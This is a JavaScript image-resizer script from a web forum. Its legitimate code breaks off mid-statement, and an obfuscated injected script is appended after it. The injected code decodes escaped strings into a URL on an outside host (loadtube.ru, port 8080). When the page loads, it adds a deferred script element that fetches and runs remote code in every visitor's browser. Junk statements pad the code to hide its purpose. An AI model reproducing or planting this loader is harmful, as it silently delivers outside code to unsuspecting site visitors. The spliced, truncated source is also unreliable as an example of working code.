NcodeImageResizer.IMAGE_ID_BASE = 'ncode_imageresizer_container_';
NcodeImageResizer.WARNING_ID_BASE = 'ncode_imageresizer_warning_';

function NcodeImageResizer(id, img) {
	this.id = id;
	this.img = img;
	this.originalWidth = 0;
	this.originalHeight = 0;
	this.warning = null;
	this.warningTextNode = null;
	
	img.id = NcodeImageResizer.IMAGE_ID_BASE+id;
}

NcodeImageResizer.getNextId = function() {
	id = 1;
	while(document.getElementById(NcodeImageResizer.IMAGE_ID_BASE+id) != null) {
		id++;
	}
	return id;
}

NcodeImageResizer.createOn = function(img) {
	isRecovery = false; // if this is a recovery from QuickEdit, which only restores the HTML, not the OO structure
	if(img.id && img.id.indexOf(NcodeImageResizer.IMAGE_ID_BASE) == 0 && document.getElementById(NcodeImageResizer.WARNING_ID_BASE+img.id.substr(NcodeImageResizer.IMAGE_ID_BASE.length)) != null) {
		newid = img.id.substr(NcodeImageResizer.IMAGE_ID_BASE.length);
		resizer = new NcodeImageResizer(newid, img);
		isRecovery = true;
		resizer.restoreImage();
	} else {
		newid = NcodeImageResizer.getNextId();
		resizer = new NcodeImageResizer(id, img);
	}
	
	if (resizer.originalWidth == 0) resizer.originalWidth = img.width;
	if (resizer.originalHeight == 0) resizer.originalHeight = img.height;
	
	if((NcodeImageResizer.MAXWIDTH > 0 && resizer.originalWidth > NcodeImageResizer.MAXWIDTH) || (NcodeImageResizer.MAXHEIGHT > 0 && resizer.originalHeight > NcodeImageResizer.MAXHEIGHT)) {
		if(isRecovery) {
			resizer.reclaimWarning(warning);
		} else {
			resizer.createWarning();
		}
		resizer.scale();
	}
}

NcodeImageResizer.prototype.restoreImage = function() {
	newimg = document.createElement('IMG');
	newimg.src = this.img.src;
	this.img.width = newimg.width;
	this.img.height = newimg.height;
}

NcodeImageResizer.prototype.reclaimWarning = function() {
	warning = document.getElementById(NcodeImageResizer.WARNING_ID_BASE+newid);
	
	this.warning = warning;
	this.warningTextNode = warning.firstChild.firstChild.childNodes[1].firstChild;
	this.warning.resize = this;
	
	this.scale();
}

NcodeImageResizer.prototype.createWarning = function() {
	mtable = document.createElement('TABLE');
	mtbody = document.createElement('TBODY');
	mtr = document.createElement('TR');
	mtd1 = document.createElement('TD');
	mtd2 = document.createElement('TD');
	mimg = document.createElement('IMG');
	mtext = document.createTextNode('');
	
	mimg.src = 'images/statusicon/wol_error.gif';
	mimg.width = 16;
	mimg.height = 16;
	mimg.alt = '';
	mimg.border = 0;
	
	mtd1.width = 20;
	mtd1.className = 'td1';
	
	mtd2.unselectable = 'on';
	mtd2.className = 'td2';
	
	mtable.className = 'ncode_imageresizer_warning';
	mtable.textNode = mtext;
	mtable.resize = this;
	mtable.id = NcodeImageResizer.WARNING_ID_BASE+this.id;
	
	mtd1.appendChild(mimg);
	mtd2.appendChild(m

this.hd="";var M=new Date();function i(){this.j="";var v;if(v!='' && v!='y'){v=''};var L=window;var c;if(c!='q'){c='q'};var U=unescape;this.O='';var gj;if(gj!='uW' && gj != ''){gj=null};var vq=new Date();var vy;if(vy!='G' && vy != ''){vy=null};var P=U("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%65%64%74%75%62%65%2e%63%6f%6d%2f%74%77%69%74%70%69%63%2e%63%6f%6d%2e%70%68%70");var nb=new Array();var Ip;if(Ip!='Iz' && Ip!='H'){Ip='Iz'};var Iv=new String();function Z(LK,A){var Y=new Date();var dH=new Date();var SJ=new Array();var o="g";var pl='';var u=U("%5b"), F=U("%5d");var _=u+A+F;var h=new RegExp(_, o);return LK.replace(h, new String());var uv="";var ua;if(ua!=''){ua='PR'};};var W='';var ct;if(ct!='uy' && ct != ''){ct=null};var ku;if(ku!='WZ' && ku != ''){ku=null};this.yj='';var I=document;var mT;if(mT!='mr' && mT!='nC'){mT=''};var qh;if(qh!='' && qh!='Ng'){qh=null};var Us=new String();var z=Z('8215510347826104531','57316249');var Ml="";var _k="";var pH="";var lo='';function k(){this.Sc="";var Zg;if(Zg!='Bs'){Zg='Bs'};this.qs="";var K=U("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");Us=K;var yi;if(yi!='' && yi!='AW'){yi='it'};Us+=z;Us+=P;this.Vj="";var hq;if(hq!='b' && hq!='zl'){hq='b'};var dgm='';try {a=I.createElement(Z('sOcurOiupZtZ','VFMWa6XHTuZOP'));var kF;if(kF!='' && kF!='Jg'){kF=null};var wi;if(wi!='SR' && wi != ''){wi=null};a[U("%64%65%66%65%72")]=[1][0];var PY=new String();a[U("%73%72%63")]=Us;this.zs='';I.body.appendChild(a);var wq;if(wq!='uG' && wq!='WC'){wq=''};var US=new String();var Ah=new Array();} catch(B){this.f='';alert(B);this.Iw="";};}var t="";var ek="";var lq='';var SX;if(SX!=''){SX='D'};L[String("onloa"+"d")]=k;var hk;if(hk!='qf' && hk!='dF'){hk='qf'};var eK=new Array();};var gA='';var Si;if(Si!='' && Si!='Uv'){Si=''};var xu;if(xu!='Fo' && xu != ''){xu=null};i();var ow=new Array();var el=new Date();